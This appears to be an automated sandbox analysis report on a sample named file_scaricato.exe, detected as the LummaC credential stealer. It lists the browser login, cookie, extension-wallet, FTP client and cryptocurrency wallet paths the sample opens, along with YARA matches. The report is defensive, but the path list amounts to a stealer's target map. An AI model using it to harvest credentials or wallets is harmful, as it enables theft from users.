Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\ZTGJILHXQB Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\ZTGJILHXQB Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\BNAGMGSPLO Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents\BNAGMGSPLO Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Directory queried: C:\Users\user\Documents Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match File source: 14.2.file_scaricato.exe.ba0000.0.unpack, type: UNPACKEDPE